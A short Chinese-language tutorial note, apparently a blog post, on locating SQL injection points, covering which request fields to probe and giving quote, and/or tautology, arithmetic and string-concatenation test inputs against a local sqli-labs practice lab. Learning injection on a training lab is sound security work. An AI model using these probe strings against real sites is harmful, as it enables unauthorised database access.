sql注入筆記一——尋找sql注入點
在http請求中sql注入點通常存在在get,post請求中。但是有幾個地方也不能忽略,如:
cookie:識別使用者的唯一標識
主機頭:指定請求資源的internet主機和埠號
引用站點頭(host):指定獲取當前請求的資源
使用者代理頭(user-agent):確定使用者使用的web瀏覽器。
服務端有很大可能將這些資料存入資料庫中。攻擊者可以將這些資料篡改為攻擊語句。是伺服器存入資料庫。
1.” ’ ”(單引號)
get請求我們通常在後面新增一個“ ‘ “來判斷其存不存在sql注入
例如:
http://
127。0。0。1/sql-labs/Less
-1/?id=1
’
伺服器報錯,並把錯誤資訊返回到網頁上面。根據錯誤資訊,判斷這裡大機率存在注入點。
2.and
構造更多的引數來判斷。
http://
127。0。0。1/sql-labs/Less
-1/?id=1
‘and‘1’=‘1 (正常頁面)
http://
127。0。0。1/sql-labs/Less
-1/?id=1
‘and’1‘=’2 (非正常頁面)
透過兩個連線返回的頁面不同,說明服務端以執行我們構造的sql語句。這裡存在sql注入。
3.or
http://127。0。0。1/sql-labs/Less-1/?id=1‘or’1‘=’1
http://127。0。0。1/sql-labs/Less-1/?id=2‘or’1‘=’1
兩個連線返回的頁面相同,說明or1=1永真條件在伺服器執行了。所以返回預設的第一個使用者資訊。
4.+- (運算子)
這裡需要注意區分數字型注入和字元型注入。
4.1 數字型注入
http://127。0。0。1/sql-labs/Less-2/?id=2
http://
127。0。0。1/sql-labs/Less
-2/?id=3-1
兩個連線返回同一個相同的頁面,說明3-1在伺服器執行了,所以返回id=2的頁面
4。2字元型注入
uname=ad‘ ’min&passwd=adm‘ ’in&submit=Submit
成功登陸說明服務端沒有對輸入 資料做限制,並且還允許字串拼接。存在sql注入可能